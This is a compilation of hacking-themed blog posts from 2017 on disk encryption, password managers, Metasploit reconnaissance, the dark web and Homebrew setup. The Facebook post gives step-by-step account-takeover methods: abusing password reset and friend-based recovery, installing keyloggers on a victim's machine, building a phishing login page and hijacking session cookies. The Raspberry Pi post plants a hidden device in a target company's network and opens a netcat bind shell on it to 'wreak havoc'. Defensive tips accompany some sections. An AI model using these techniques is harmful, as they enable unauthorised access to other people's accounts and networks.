The last step is to validate your key to make sure you can actually decrypt your Mac when needed (only applies to Mavericks and higher). For this, we're going to use the terminal, so open up the Terminal app—it can be found in Utilities in your Applications folder.

In the terminal window, type the following and press enter:

sudo fdesetup validaterecovery

You will be prompted for your admin password. You will not be able to see it as you enter it, but rest assured that you are actually typing it in. Press enter to continue.

It will then ask you for your recovery key, which should be in the xxxx-xxxx-xxxx-xxxx-xxxx-xxxx format. Just like the admin password, you won't be able to see the recovery key as you type. So go slowly, or type it out in a text document, copy it, then paste it into the terminal and hit enter.

If the key is valid, the shell will return true.

If it is false, you either typed it in wrong, copied it down wrong, or it got corrupted somehow. If you tried again and are sure you are typing in the right key, you'll have to go back to the File Vault screen in System Preferences, turn off FileVault, then repeat this guide starting from Step 2 above.

Your Disk Is Now Ready for Hacking

With all that complete, your disk is now encrypted. Just don't forget that FDE only protects data at rest

Famous Silk Road operator Ross Ulbricht used FDE to secure his laptop, but wasvery sloppy at following OPSEC rules. The FBI waited until he logged into his machine so that the disk was unencrypted before they grabbed him, and he didn't even have a chance to close the lid.

Ulbricht was sentenced to life in prison. Don't make that kind of mistake!

How to Build a Hacking Raspberry Pi

2017-05-27T20:54:00.001-07:00

A number of you have written me telling me how much you enjoy the Mr. Robotseries on USA Network. I am also a huge fan! If you haven't seen it yet, you should. It may be the best show on TV right now.

Mr. Robot is about a young man with a social conscience (with severe social anxiety and a wicked morphine habit) who works in cyber security by day, protecting the network of Evil Corporation, while at night, is a hacker vigilante for good (does this scenario fit anyone we know?). Eventually, he gets recruited by a hacker organization known as fsociety (which looks and acts much like Anonymous) to bring down Evil Corporation.

One of the more interesting parts of the show, from my perspective, is that the hacking is realistic. No swirling, animated viruses like in so many other TV shows and movies, but rather good ole command line Linux.

The Hacking Raspberry Pi in Episode 4

In episode 4 ("eps1.3__da3m0ns.mp4"), Elliott, the main character, is planning on using a Raspberry Pi to control the heating system of the storage room where Evil Corp is storing their tape backups. If they can raise the temperature enough in the storage room, it will render those tape backups unusable.

On these tape backups are the records of 70% of the consumer debt in the world, including billions of dollars of student loans. The hackers believe that if they can destroy those records, millions of people will be free of their student loans and consumer debt held by Evil Corp.

In this tutorial, I will show you how to create a hacking Raspberry Pi (for those of you are unaware, a Raspberry Pi is a tiny, inexpensive, credit-card sized computer that is powerful) that can be controlled remotely, similar to what Elliott on Mr. Robot is about to use in this episode.

Step 1Download the ARM Version of Kali

The first step, of course, is to download the ARM version of Kali. Raspberry Pi and many mobile devices use ARM CPUs as they are more energy efficient and cooler, so the Kali operating system must be compiled specifically for it.

Fortunately, the goods folks at Offensive Security have already done this for us. Navigate to Offensive Security's download page to get the Raspberry Pi file. Once you have downloaded the image, unzip it with WinRAR, WinZip, or any other archiving tool that can unzip files.

Step 2Download & Install Win32 Disk Imager

Now we need to install the Win32 Disk Imager, which you can download from SourceForge. This tool enables us to write the image to an SD card or USB drive. I recommend a fast SD card of at least 4 GB. You can buy a 16 GB now for about 7 dollars.

Step 3Run Disk Imager

Now that you have installed Disk Imager, right click on it and run it as "administrator."

Select the Kali image in the "Image File" window, direct the image to your SD card in the "Device" window, then click on the "Write" button. Be patient, this can take sometime.

If you using Linux, things are bit simpler. No need to download anything. You simply use the dd command (among other things, the dd command is used to create a disk image in digital forensics). If we assume the image is named Kali-RPI.img and the SD card is at /dev/sdc and we want it to copy in 512k block size (bs), then we simply need to type:

kali >dd if =Kali-RPI.img of = /dev/sdc bs=512k

Step 4Install the SD Card in the Raspberry Pi

We need to remove the SD card from your PC and now install the SD card into our Raspberry Pi and boot it up. When it boots up, it takes you to a command line opening asking you for your username and password. Type in:

username: root
password: toor

Then type:

kali > startx

This starts the X11 GUI for Kali. Success! Now you have an tiny Kali hacking tool that can be placed anywhere!

Step 5Start a Cryptcat Listener on Raspberry Pi

Now, that we have Raspberry Pi running Kali, we can place it anywhere within the Evil Corporation network. Raspberry Pi has an Ethernet connection and you can add a wireless adapter. The Raspberry Pi is so small it can be hidden in numerous places. These include inside a desktop computer, inside a telephone, clock, etc. without being noticed.

Image via The Security Blogger

Once it is connected, we can start a Netcat listener (Netcat is built into Kali) on it by typing:

kali > nc -l -p6996 -e /bin/sh

This will enable Elliott to connect to a terminal on the Raspberry Pi from anywhere using port 6996.

Now, Elliott can connect back to the Raspberry Pi by using Netcat on his Kali system and typing:

kali > nc 192.168.1.105 6996

When he types ifconfig, he can see that he has a terminal on the Raspberry Pi ready to do some hacking of Evil Corp's HVAC system! Make certain to use the IP address of the Raspberry Pi in your environment.

Of course, there are other methods to connecting back to the Raspberry Pi. He could use SSH, and if he wanted a GUI, install the VNC Server and connect back to it with full GUI control over Kali. The problem with both of those methods is that they are more likely to be detected by Evil Corporation's perimeter network defenses.

Step 6Wreak Havoc

Now that Elliott has a Kali installation within Evil Corporation's network, he should be able to use the multitude of tools available for wreaking havoc on Evil Corporation in Kali. In episode 4, he wants to control the HVAC system and turn up the heat to melt the backup tapes. He should be able to do that now that he has embedded Kali within Evil Corporation's network.

How to Manage Your Passwords with KeePassX

2017-05-27T20:41:00.001-07:00

Just like most other people, we hackers have a lot of credentials to manage. We're also human, so we have a hard time creating random difficult-to-brute-force passwords. So instead of rolling up all of our passwords with Diceware, we'll let our machine do the work for us—both in guarding the passwords and generating them. For this, we'll use a password manager.

There are many password managers on the market, and some of the heavy hitters for macOS are LastPass, 1Password, and KeePassX. I prefer KeePassX because it's open source, very secure, works on almost everything, and allows me control over my key database and key file. KeePassX uses either 256-bit AES or Twofish to encrypt the password vault, and has had only a couple of CVEs (Common Vulnerabilities and Exposures) in its lifetime.

Get KeePassX

Our first step is to download KeePassX from their website. Once we have the disk image, we will mount it and drag KeePassX into our Applications folder.

On most macOS systems, we will not be able to run this app right out of the box due to the app being from an unidentified developer. Since KeePassX is unsigned, we will need to enable a security exception. If you are not comfortable with this, you may want to consider a different password manager.

Navigate to KeePassX in your Applications folder, then control-click (or right-click) on the KeePassX icon and select "Open" on the prompt. You will then be greeted with this screen:

Not much going on here, but that will change.

If you already have a KeePass database, you can open it now by selecting "Database" in the menu bar and clicking on "Open database." If you don't already have a database, that's okay—just keep on reading.

Step 2Create a New Key Database

With the KeePassX window selected, go to "Database" in the menu bar and select "New database." For this tutorial, I will be using a key file along with a password. Without the key file, the database is useless. If you lose the key file, you will lose all of your passwords. I keep a backup of my key file somewhere safe, and a copy of it on a USB key. If I stored the key file with the key database and an attacker gained access to my system, they could attempt to brute-force my database. Better safe than sorry.

Tick the "Password" box and enter a strong password in the password field. I suggest using Diceware to create this password, since it's imperative for this one to be super strong and random.

Next, tick the "Key file" box (if you intend to use a key file) and click the "Create" button. You will be prompted with a save dialog. Select a location on your drive and save the key file—KeePassX will then generate the key file for you. If you are happy with your settings, click "OK" to continue.

Step 3Add Groups to Your Database

We now have a fresh key database, but we don't have any groups other than the default "Root" group, which houses everything. Groups are basically just folders to organize your passwords in whatever manner you want.

Since only having a "Root" group is extremely disorganized, we'll go ahead and create some more groups to keep things nice and tidy. Control-click (or right-click) on the folder labeled "Root" and select "Add new group." You could also select "Groups" in the menu bar and select "Add new group."

Fill out the name field, add notes if you need them. If you have a password revocation policy, tick the "Expires" box and enter a date and time. Keep in mind that this will expire all passwords in that group at that time, and will remind you to select new ones.

When you are done editing a group, click on the "OK" button on the bottom-right of the window.

If you want more groups, go ahead and create them. You can also create subgroups within groups, if you want to be really OCD about them.

Step 4Add Entries

Now that we have some groups, it's time to start generating some credentials.

Select a group, then press Command N or go to "Entries" in the menu bar and select "Add new entry." Enter the title, your username, and click on the "Gen." button to generate a new password. Here you will be able to select password rules. I selected the special characters button in the character types, but you can use whatever you want—just hit "Accept" when it's to your liking.

Fill out the rest of the fields as you see fit, then click the "OK" button at the bottom of the window to save your entry.

Repeat these steps for all of the credentials you have and you will have unique, strong passwords for all of your accounts! Not necessarily as strong as Diceware passwords, but they're the next best thing.

Step 5Use the Database

In order to use a stored password, simply select the entry you need and pressCommand C to copy your password. Then use Command V to paste the password into the appropriate field of the website, app, etc. You don't have to worry about the contents of your clipboard being read due to KeePassX auto-clearing the clipboard after 10 seconds. While KeePassX does offer an autofill option, it is still in experimental state and beyond the scope of this article.

4 Ways to Crack a Facebook Password & How to Protect Yourself from Them

2017-05-27T20:39:00.001-07:00

Despite the security concerns that have plagued Facebook for years, most people are sticking around and new members keep on joining. This has led Facebook to break records numbers with over one billion monthly active users as of October 2012—and around 600 million active daily users.

We share our lives on Facebook. We share our birthdays and our anniversaries. We share our vacation plans and locations. We share the births of our sons and the deaths of our fathers. We share our most cherished moments and our most painful thoughts. We divulge every aspect of our lives. We even clamor to see the latest versions even before they're ready for primetime.

But we sometimes forget who's watching.

We use Facebook as a tool to connect, but there are those people who use that connectivity for malicious purposes. We reveal what others can use against us. They know when we're not home and for how long we're gone. They know the answers to our security questions. People can practically steal our identities—and that's just with the visible information we purposely give away through our public Facebook profile.

Image via Digital Trends

The scariest part is that as we get more comfortable with advances in technology, we actually become more susceptible to hacking. As if we haven't already done enough to aid hackers in their quest for our data by sharing publicly, those in the know can get into our emails and Facebook accounts to steal every other part of our lives that we intended to keep away from prying eyes.

In fact, you don't even have to be a professional hacker to get into someone's Facebook account.

It can be as easy as running Firesheep on your computer for a few minutes. In fact, Facebook actually allows people to get into someone else's Facebook account without knowing their password. All you have to do is choose three friends to send a code to. You type in the three codes, and voilà—you're into the account. It's as easy as that.

In this article I'll show you these, and a couple other ways that hackers (and even regular folks) can hack into someone's Facebook account. But don't worry, I'll also show you how to prevent it from happening to you.

Method 1Reset the Password

The easiest way to "hack" into someone's Facebook is through resetting the password. This could be easier done by people who are friends with the person they're trying to hack.

The first step would be to get your friend's Facebook email login. If you don't already know it, try looking on their Facebook page in the Contact Info section.
Next, click on Forgotten your password? and type in the victim's email. Their account should come up. Click This is my account.
It will ask if you would like to reset the password via the victim's emails. This doesn't help, so press No longer have access to these?
It will now ask How can we reach you? Type in an email that you have that also isn't linked to any other Facebook account.
It will now ask you a question. If you're close friends with the victim, that's great. If you don't know too much about them, make an educated guess. If you figure it out, you can change the password. Now you have to wait 24 hours to login to their account.
If you don't figure out the question, you can click on Recover your account with help from friends. This allows you to choose between three and five friends.

It will send them passwords, which you may ask them for, and then type into the next page. You can either create three to five fake Facebook accounts and add your friend (especially if they just add anyone), or you can choose three to five close friends of yours that would be willing to give you the password.

How to Protect Yourself

Use an email address specifically for your Facebook and don't put that email address on your profile.
When choosing a security question and answer, make it difficult. Make it so that no one can figure it out by simply going through your Facebook. No pet names, no anniversaries—not even third grade teacher's names. It's as easy as looking through a yearbook.
Learn about recovering your account from friends. You can select the three friends you want the password sent to. That way you can protect yourself from a friend and other mutual friends ganging up on you to get into your account.

Method 2Use a Keylogger

Software Keylogger

A software keylogger is a program that can record each stroke on the keyboard that the user makes, most often without their knowledge. The software has to be downloaded manually on the victim's computer. It will automatically start capturing keystrokes as soon as the computer is turned on and remain undetected in the background. The software can be programmed to send you a summary of all the keystrokes via email.

CNET has Free Keylogger, which as the title suggests, is free. If this isn't what you're looking for, you can search for other free keyloggers or pay for one.

Hardware Keylogger

These work the same way as the software keylogger, except that a USB drive with the software needs to be connected to the victim's computer. The USB drive will save a summary of the keystrokes, so it's as simple as plugging it to your own computer and extracting the data. You can look through Keelog for prices, but it's bit higher than buying the software since you have the buy the USB drive with the program already on it.

How to Protect Yourself

Use a firewall. Keyloggers usually send information through the internet, so a firewall will monitor your computer's online activity and sniff out anything suspicious.
Install a password manager. Keyloggers can't steal what you don't type. Password mangers automatically fill out important forms without you having to type anything in.
Update your software. Once a company knows of any exploits in their software, they work on an update. Stay behind and you could be susceptible.
Change passwords. If you still don't feel protected, you can change your password bi-weekly. It may seem drastic, but it renders any information a hacker stole useless.

Method 3Phishing

This option is much more difficult than the rest, but it is also the most common method to hack someone's account. The most popular type of phishing involvescreating a fake login page. The page can be sent via email to your victim and will look exactly like the Facebook login page. If the victim logs in, the information will be sent to you instead of to Facebook. This process is difficult because you will need to create a web hosting account and a fake login page.

The easiest way to do this would be to follow our guide on how to clone a websiteto make an exact copy of the facebook login page. Then you'll just need to tweak the submit form to copy / store / email the login details a victim enters. If you need help with the exact steps, there are detailed instructions available by Alex Long here on Null Byte. Users are very careful now with logging into Facebook through other links, though, and email phishing filters are getting better every day, so that only adds to this already difficult process. But, it's still possible, especially if you clone the entire Facebook website.

How to Protect Yourself

Don't click on links through email. If an email tells you to login to Facebook through a link, be wary. If you're still doubtful, go directly to the main website and login the way you usually do.
Phishing isn't only done through email. It can be any link on any website / chat room / text message / etc. Even ads that pop up can be malicious. Don't click on any sketchy looking links that ask for your information.
Use anti-virus & web security software, like Norton or McAfee.

Method 4Stealing Cookies

Cookies allow a website to store information on a user's hard drive and later retrieve it. These cookies contain important information used to track a session that a hacker can sniff out and steal if they are on the same Wi-Fi network as the victim. They don't actually get the login passwords, but they can still access the victim's account by cloning the cookies, tricking Facebook into thinking the hacker's browser is already authenticated.

Image via Wikimedia Commons

Firesheep is a Firefox add-on that sniffs web traffic on an open Wi-Fi connection. It collects the cookies and stores them in a tab on the side of the browser.

From there, the hacker can click on the saved cookies and access the victim's account, as long as the victim is still logged in. Once the victim logs out, it is impossible for the hacker to access the account.

A Couple More Facebook Hacks

For those with a bit more technical skill, check out the Same Origin Policy Facebook hack and the somewhat easier, Facebook Password Extractor. We will continue add more Facebook hacks in the near future, so keep coming back here.

How to Protect Yourself

On Facebook, go to your Account Settings and check under Security. Make sure Secure Browsing is enabled. Firesheep can't sniff out cookies over encrypted connections like HTTPS, so try to steer away from HTTP.
Full time SSL. Use Firefox add-ons such as HTTPS-Everywhere or Force-TLS.
Log off a website when you're done. Firesheep can't stay logged in to your account if you log off.
Use only trustworthy Wi-Fi networks. A hacker can be sitting across from you at Starbucks and looking through your email without you knowing it.
Use a VPN. These protect against any sidejacking from the same WiFi network, no matter what website you're on as all your network traffic will be encrypted all the way to your VPN provider.

Protecting Yourself: Less Is More

Social networking websites are great ways to stay connected with old friends and meet new people. Creating an event, sending a birthday greeting and telling your parents you love them are all a couple of clicks away.

Facebook isn't something you need to steer away from, but you do need to be aware of your surroundings and make smart decisions about what you put up on your profile. The less information you give out on Facebook for everyone to see, the more difficult you make it for hackers.

HOW TO Get Your Hacked Facebook Account Back.

2017-05-27T20:36:00.000-07:00

If your facebook account was hacked by someone and you really want it back this tutorial would help you get it back.

Step 1

First goto this link. https://www.facebook.com/hacked
Click the button "Your account has been Compromised".

Then type in your email address, Login name , Full Name or your specified Phone No.

Then facebook would search for matching users. If you still don't see your account, try entering something else other than the one you entered.

( for example if you entered your phone number and it didn't work try entering your email or Login name.) Most of the time using your email would be the wisest choice.)

And hit Search. :)

Step 2

Well now the kind of difficult part begins. But I don't think it would be for you.

Now for this step you got to enter your account's password. Well if you knew the password you won't be here anyway, cause you don't know your new password the Hacker's changed, enter your old password. The password that you use, to enter into your account before you got HACKED :<

Step 3

Then cause you entered an old actually now wrong password this page will come up.
Well no need to be down yet. Just click the reset my password button.

Step 4

Your primary email would be changed so well of course you don't want to send your reset your password link to the hacker's account so, Click "no longer have access to these?" link.

Step 5

Well now you almost got your account back.
Now write your new email address that you want to send the change password link as well set as your primary email.

Step 6

Well now, follow the next steps and you would have your account back in 24 hours. XD

Metasploit for the Aspiring Hacker, (Finding Deleted Webpages)

2017-05-27T20:28:00.002-07:00

I have focused primarily on just two types of modules: exploits and payloads. Remember, Metasploit has six types of modules:

Exploit
Payload
Auxiliary
NOP (no operation)
Post (post exploitation)
Encoder

Although most hackers and pentesters focus on the exploits and payloads, there is significant capability in the auxiliary modules that is often overlooked and ignored. About one-third of all of Metasploit—measured by lines of code—is auxiliary modules. These auxiliary modules encompass the capabilities of many other tools that a hacker requires, and include various types of scanners (including Nmap),denial-of-service modules, fake servers for capturing (admin) credentials, fuzzers, and many more.

In this tutorial, I want to explore and illuminate one of the auxiliary modules that can make hacking with Metasploit much more effective and efficient.

Step 1List the Modules

First, let's fire up Kali and open a terminal. In Kali, Metasploit modules are stored at:

/usr/share/metasploit-framework/modules

Let's navigate there:

kali > cd /usr/share/metasploit-framework/modules/

Then, let's list the contents of that directory:

kali > ls -l

As you can see, there are six types of modules in Metasploit, as mentioned before. Let's focus our attention on the auxiliary modules.

Step 2List the Auxiliary Modules

First, navigate to the auxiliary module directory and list its contents:

kali > cd auxiliary

kali > ls -l

As you can see, there are numerous subdirectories of auxiliary modules. In an earlier tutorial, I pointed out that there are hundreds of auxiliary modules for DoSing in Metasploit. In this tutorial, we want to work with the scanner modules. Metasploit has scanning modules of just about every type, including Nmap and website vulnerability scanning.

Step 3The Wayback Machine

As many of you know, recent years have seen an increased emphasis on information security. Webmasters and IT security personnel are more vigilant about what goes onto their website, trying to make certain that information that might be used to compromise their security is not posted.

If we go back just a few years, that was not the case. Companies often would post email addresses, passwords, vulnerability scans, network diagrams, etc. on their website, not aware that someone might find these and use them for malicious purposes. Although I still occassional find a company listing email addresses and passwords on their website, this has become much less common.

Fortunately for us, nothing ever disappears from the web. If it's here today, it will be here 20 years from now (keep that in mind when posting on Facebook or other social media sites).

The Internet Archive (Archive.org) was established to save free books, movies, music, software, along with all of the old web information via its Wayback Machinetool (which is a reference to an old cartoon where the main characters, Mr. Peabody and Sherman, would travel back in time in a time machine they called the "WABAC Machine"). This means that if a company had, at one time, stored email addresses and passwords on their webpages, or Nessus scans, it is still around somewhere on Archive.org.

Step 4Use Metasploit to Retrieve Deleted Webpages

Fortunately for us, Metasploit has an auxiliary module that is capable of retrieving all of the old URLs from Archive.org that are stored for a particular domain. Since the Internet Archive's website tool is referred to as the Wayback Machine, Metasploit has a module called enum_wayback, short for "enumerate wayback" machine.

Let's start the Metasploit console and load it:

kali > msfconsole

When the msfconsole opens, let's load the wayback module by typing:

msf > use auxiliary/scanner/http/enum_wayback

This module basically has just two parameters to set:

The domain we want to search for on archive.org
The file we want to save the information in

Since we will be using the SANS.org as our target, let's set the output to a file namedsans_wayback:

msf > set OUTFILE sans_wayback

Next, let's set the domain to our favorite IT Security domain:

msf > set DOMAIN sans.org

Step 5Start the Wayback Machine

Unlike exploits in Metasploit where we type exploit to start them, auxiliary modules are initiated by typing run instead:

msf > run

This module will now go to Archive.org and begin to retrieve every saved URL of SANS.org over the years. In the case of SANS.org, it is over 96,000 URLs! Since we told this module to store all of the URLs in a file named "sans_wayback," all these URLs are written to this file.

When the module is done running, we can look inside this file by typing:

kali > more sans_wayback

When we do, we can see that Archive.org has stored the first URL from 1998. With over 90,000 URLs, visual inspection looking for interesting information is not really practical. Fortunately, god gave us the grep command.

If we want to find the URLs with emails stored in them, we can type:

kali > more sans_wayback | grep email

As you can see in the screenshot above, there are quite a few URLs pertaining to email. The one I have circled in red looks particularly interesting, email_list.htm.

It is not unheard of for companies to put their vulnerability scans on their website for the security and network personnel to view (and the rest of us). As Nessus is the world's most widely used vulnerability scanner, let's see whether we can find it among these old webpages.

kali > more sans_wayback | grep nessus

As you can see above, we have found three webpages with Nessus in them in the "audit" directory. Hmmm... that might be interesting... maybe some Nessus scan reports from the past?

This approach to finding deleted information is limited to the information in the URL. We could actually take these URLs and view them in our browser at Archive.org to see whether we can find text information on the page that might be useful. Maybe a better approach would be to download the interesting URLs that this module enumerated directly to a hard drive using HTTrack, then do a text search on the entire web content.

How To Hack By Reading These 5 Top Hacking Books

2017-05-27T07:45:00.001-07:00

Know How To Hack By Reading These 5 Top Hacking Books

With the increase in the use of internet, there is now a high demand for computer experts who can conduct ethical hacking operations. However, it is not an easy task to become an expert until you have basic knowledge about computers and network security. For beginners to start with, it is very important for them to know that there are two types of hacking: Ethical (White Hat) and Unethical (Black Hat).

Ethical hacking (legal) is defined as making use of programming skills, so as to penetrate a computer system, and identify weaknesses in data computer security for business and organizations across the globe, to protect them from hackers or criminals with less honest motives. This not only helps them earn a good and honest living but also keeps them away from facing prison time. On the other hand, in Unethical hacking (illegal) is used by hackers to penetrate into a computer system and exploit it for their own personal gains or mischief.

So, considering that you are looking to learn hacking and apply it in an ethical way, we have some tips for you as a beginner.

beginners not because it’s very difficult, but because they do not have proper source of learning. Since, having an appropriate guide is very essential in this field, experts always recommend reading books initially.

In this article, we provide you with a list of books that offers you white hat content. However, it is important to note that as a beginner to not perform any hacking & cracking tactics that breach any cyber law.

According to us, given below are the 5 top books on ethical hacking for beginners that will provide the best knowledge about security:

The Basics of Hacking and Penetration Testing: Ethical Hacking and Penetration Testing Made Easy (Syngress Basics Series)

This is probably the best hacking book for beginners because it covers range of chapters on penetration testing and hacking, which instructs without assuming that the reader has any prior hacking knowledge. It teaches you how to perform an ethical hack from very basic. It provides a step-by-step journey of penetration testing, moving from Information Gathering to Scanning, Exploitation and finally, Report Writing.

Tool coverage includes Backtrack Linux, Google reconnaissance, MetaGooFil, dig, Nmap, Nessus, Metasploit, Fast Track Autopwn, Netcat, Hacker Defender rootkit, and more. A simple and clean explanation of how to effectively utilize these tools as well as the introduction to a four-step methodology for conducting a penetration test or hack, will provide you with know-how required to jump start your career or gain a better understanding of offensive security, which easily makes it the book to buy

Metasploit: The Penetration Tester’s Guide

This book deals with Penetration Testing by making use of the open source Metasploit Framework. It is beneficial for the readers who do not have any prior knowledge about Metasploit. The Metasploit Framework makes discovering, exploiting, and sharing vulnerabilities quick and relatively painless.

At the end of the book, the reader will get sufficient knowledge of penetration test. It provides you with an actual penetration test’s simulated version so as to provide you with a realistic experience.

Hacking: The Art of Exploitation, 2nd Edition

This hacking book is a must read for beginners. It is best among many Ethical Hacking Books. This book provides you knowledge about the obstacles beginners facing during the beginning of their ethical hacking profession. This book can help beginners do their job more professionally.

Unlike others, this book spends more time explaining technical foundation of areas like programming, shell code and exploitation and how things work from inside. Instead of directly taking you through tutorials, this book will first make you understand underlying mechanism and architectures and then it teaches you how to outsmart security measures, corrupt system, wireless encryption cracking and network attacks etc. Programming languages that are covered includes C, Assembly Language and Shell Scripting.

CEH Certified Ethical Hacker All-in-One Exam Guide

It is a well written book in all Ethical Hacking Books. This comprehensive guide offers complete coverage of the EC-Council’s Certified Ethical Hacker exam. In order to take full advantage of the crisp and clear writing in this book, the reader must have some little knowledge of basic networking. The book includes relevant examples with a humorous touch to brighten the dry and mundane subject.

BackTrack 5 Wireless Penetration Testing Beginner’s Guide

Without wasting time in unnecessary justifications, this book right from the start gives you what you need. Along with the theoretical concepts, the book also consists of precise and transparent tutorials. You can easily grasp the concepts and understand the techniques to perform wireless attacks in your lab. Every new attack is described in the form of a lab exercise with rich illustrations of all the steps associated. You will be able to practically implement various attacks as you go along. It also provides a good mix of basics and high level knowledge and works cohesively with the reader.

Apple designer made a $12,000 hourglass. 😐

2017-05-27T07:26:00.001-07:00

Apple designer made a $12,000 hourglass. 😐

It contains 1.3 million tiny copper balls that measure just 0.6mm in diameter, and measures precisely 10 minutes
This is a safe space, okay? We’re going to talk about a $12,000 hourglass designed by Apple designer Marc Newson in this post, and I won’t judge you if you want it. But let me be straight up about my feelings: this thing is ridiculously expensive, and I don’t “get” it. I’m also a little lowbrow. As I mentioned, Newson created an Hourglass for Hodinkee that costs $12,000. Only 100 are being made. Each is custom created in a glass factory. The hourglass is filled with 1,249,996 “nanoballs” that are 0.66mm in diameter and made of solid stainless steel coated in copper. The hourglass times 10 minutes. Apparently the hole that the nanoballs fall through has to be so precise that only a human eye can get the job done. A measurement device would harm the glass, according to Hodinkee. I’m not a glassmaker, so I have no idea if this is legitimate

Deep Web Search Engines to Explore the Hidden Internet

2017-05-27T05:58:00.003-07:00

Do you know: There is a vast section of the Internet which is hidden and not accessible through regular search engines and web browsers.

This part of the Internet is known as the Deep Web, and it is about 500 times the size of the Web that we know.

What is DEEP WEB?

Deep Web is referred to the data which are not indexed by any standard search engine such as Google or Yahoo.

The 'Deep Web' refers to all web pages that search engines cannot find, such as user databases, registration-required web forums, webmail pages, and pages behind paywalls.

Then, there's the Dark Web or Dark Net – a specific part of that hidden Deep Web.

Deep Web and Dark Web are the intriguing topics for the Netizens all around. But when you hear the term 'Deep Web' or 'Dark Web,' you usually categorize them into one.

If yes, then you are wrong.

What is DARK WEB?

Dark Web is where you can operate without been tracked, maintaining total anonymity.

The Dark Web is much smaller than the Deep Web and is made up of all different kinds of websites that sell drugs, weapons and even hire assassins.

These are hidden networks avoiding their presence on the Surface Web, and its URLs are tailed up with.onion.

These [websitename].onion domains are not indexed by regular search engines, so you can only access Dark Web with special software -- called 'The Onion Browser,' referred to as TOR.

TOR is free, and anyone can download it.

Many of us heard about the Dark Web when the largest online underground marketplace Silk Road was taken down following an investigation by United States federal authorities.

But, what if, you can still be able to dig the Darknet contents with your regular browsers, without the need of TOR?

Here's How to Surf & Search the Deep Web without TOR

Solution: Deep Web Search Engines

Search engines like Google are incredibly powerful, but they can't crawl and index the vast amount of data that is not hyperlinked or accessed via public DNS services.

However, there are Deep Web Search Engines that crawl over the TOR network and bring the same result to your regular browser.

Some of such Dark Web Search Engines are:

Here are some Deep Web Search Engines:

These Deep Web search engines talks to the onion service via Tor and relays, resolve the .onion links and then deliver the final output to your regular browser on the ordinary World Wide Web.

However, there is one consequence of browsing Deep or Dark Web on a regular browser. Working this way will make these .onion search results visible to you, me, and also, for Google.

Moreover, tracker-less search engines are also popular in the TOR culture – like Disconnect, DDG, IXQuick– which ensures your privacy searches.

Importance of TOR

It is worth noting that mere access via TOR is not considered as an illegal practice but can arouse suspicion with the law.

TOR has long been used by Journalists, Researchers, or Thrill seekers in heavily censored countries in order to hide their web browsing habits and physical location, crawl the Deep Web and exchange information anonymously.

However, one of the main reasons behind the rise of TOR is NSA's Surveillance Programs.

After the Assange-Snowden revelations in the past years, public fears about their privacy getting compromised over the Internet.

The reliability of the Internet had been lost that demanded the Ciphers come into action to thwart the Federal Agency's efforts. So comes the need of TOR.

With the help of TOR, the web users could roam around the Internet beyond any fear, keeping themselves and their real identities hidden from federal and intelligent agencies.

This is why TOR is being one of the favorite targets of federal agencies.

Since Tor has long been a target of the government intelligence agencies, most online users do not feel safe to use Tor anymore.

Who lurks in the 'Dark Web'?

According to the recent survey conducted by researchers Daniel Moore and Thomas Rid (in their bookCryptopolitik and the Darknet), it is found that 57% of the Dark Web is occupied by unauthorized contents like Pornography, Illicit Finances, Drug Hub, Weapon Trafficking, counterfeit currency flow and many more.

The netizens had given the shade of illegalities to Dark Web. This is why today Dark Web is being defined as something that is illegal instead of a 'Pool of Information.'

However, there are countless reasons to use Dark Web. But, ultimately, it depends on the surfer what to surf?

Sidelining Darkweb for criminal offenses often gray out the legitimate purposes inside Dark Web.

How to Set Up Homebrew to Install & Update Open-Source Tools

2017-05-27T01:42:00.002-07:00

A Linux/Unix environment without a package manager means a lot of extra work on your part. So without a good package manager, any additions to the system will need to be compiled from source. Yes, you already have the Mac App Store on your macOS hacking computer, but most of the open-source pentesting tools we rely on as hackers and security professionals are not available there.

It costs developers money to submit to the Mac App Store, and the code must be reviewed and accepted by Apple before it can be published. For some developers, this is too much of a hassle. This means we need another package manager to pull down free software such as Hydra, Aircrack-ng, GNU Coreutils (if you're like me and prefer Linux flags to Unix flags), or some dependencies for tools located on GitHub.

Why Having No Package Manager Sucks

If I wanted to compile Aircrack-ng from source on my macOS machine, first I would need to verify that I had all of the dependencies, and that they were in the correct locations and functioning properly. I would then need to download the source for Aircrack-ng, configure it, and begin the compilation process, resolving any issues I ran into on the way.

If I had a package manager, all of this work would be handled for me.

So, What Package Manager Should You Use?

There are a few package managers for macOS such as Macports and Nix, but I prefer Homebrew. The syntax is very straightforward, it's fast, the packages are well-maintained and up to date, and it leverages more of macOS's default libraries instead of redundantly installing new ones. Also, everything is owned by a regular user, meaning there is no need to use sudo. But best of all, Homebrew is clean, with everything kept in its own sandbox in /usr/local.

With this pacakage manager, the source or binaries are pulled down with their requirements met. Homebrew then keeps track of what has been installed, what is using it, and where it is located. It also keeps track of configuration information and makes the whole process of maintaining open-source software on your Apple product a piece of cake.

I will generally search for a package in Homebrew before cloning it from GitHub and compiling from source. If the package is missing in Homebrew, it's worth considering creating a brew formula for it. However, there aren't a lot of pentesting tools in the Homebrew repos, but there are lots of libraries and general purpose open-source tools which can come in handy.

Step 1Install Homebrew

Our first step is to get Homebrew from the site http://brew.sh. Before installing, though, we should review the source on GitHub. Generally, I don't like piping a script off the internet, but I trust their repository. It's on GitHub, I can read the source code, and the author doesn't have access to the internals of the GitHub servers to muck about with the timing and detect cURL pipes.

Open up iTerm on your Mac and execute this command:

/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

You will be prompted for your password.

Step 2Create an Access Token

If you search the brew repository often enough, you will want an access token since the GitHub API rate limits queries to their servers.

In order to set your token, you will need to follow the link presented to you in the terminal. You will need to login to GitHub, or create a new account—if you've been following this series, you already have a GitHub account. Next, ensure the boxes are all unchecked—we only need the token, Homebrew doesn't need access to anything in our GitHub account.

At the bottom of the page, click on "Generate Token." You now have a token, so let's get it working with Homebrew.

Step 3Add the Token

We're going to have to edit a few Bash files in your home directory to get the token working, both the .bashrc and .bash_profile files. The .bashrc file is the configuration file for Bash, the default shell on macOS. The .bash_profile file is a personal initialization file executed for login shells (SSH or from the console) whereas .bashrc is the individual per-interactive-shell startup file.

While we could just edit the .bash_profile and that's it, I prefer to keep all of my Bash settings in .bashrc, which ensures that no matter how the shell is spawned, I have my preferences set. Setting my .bash_profile to source my .bashrc means that if I login from SSH, I will have the same environment as my local terminal.

I'll be using Vim for this, but if you aren't familiar with Vim, you can use the plain text editor of your choice to do it manually, or just open it with your default text editor using open ~/filename in the terminal.

To use Vim, open a new iTerm window, or type in cd to get to your home directory, then type in the following command. (If you don't have a .bashrc file yet, you can create one first with touch .bashrc).

vim .bashrc

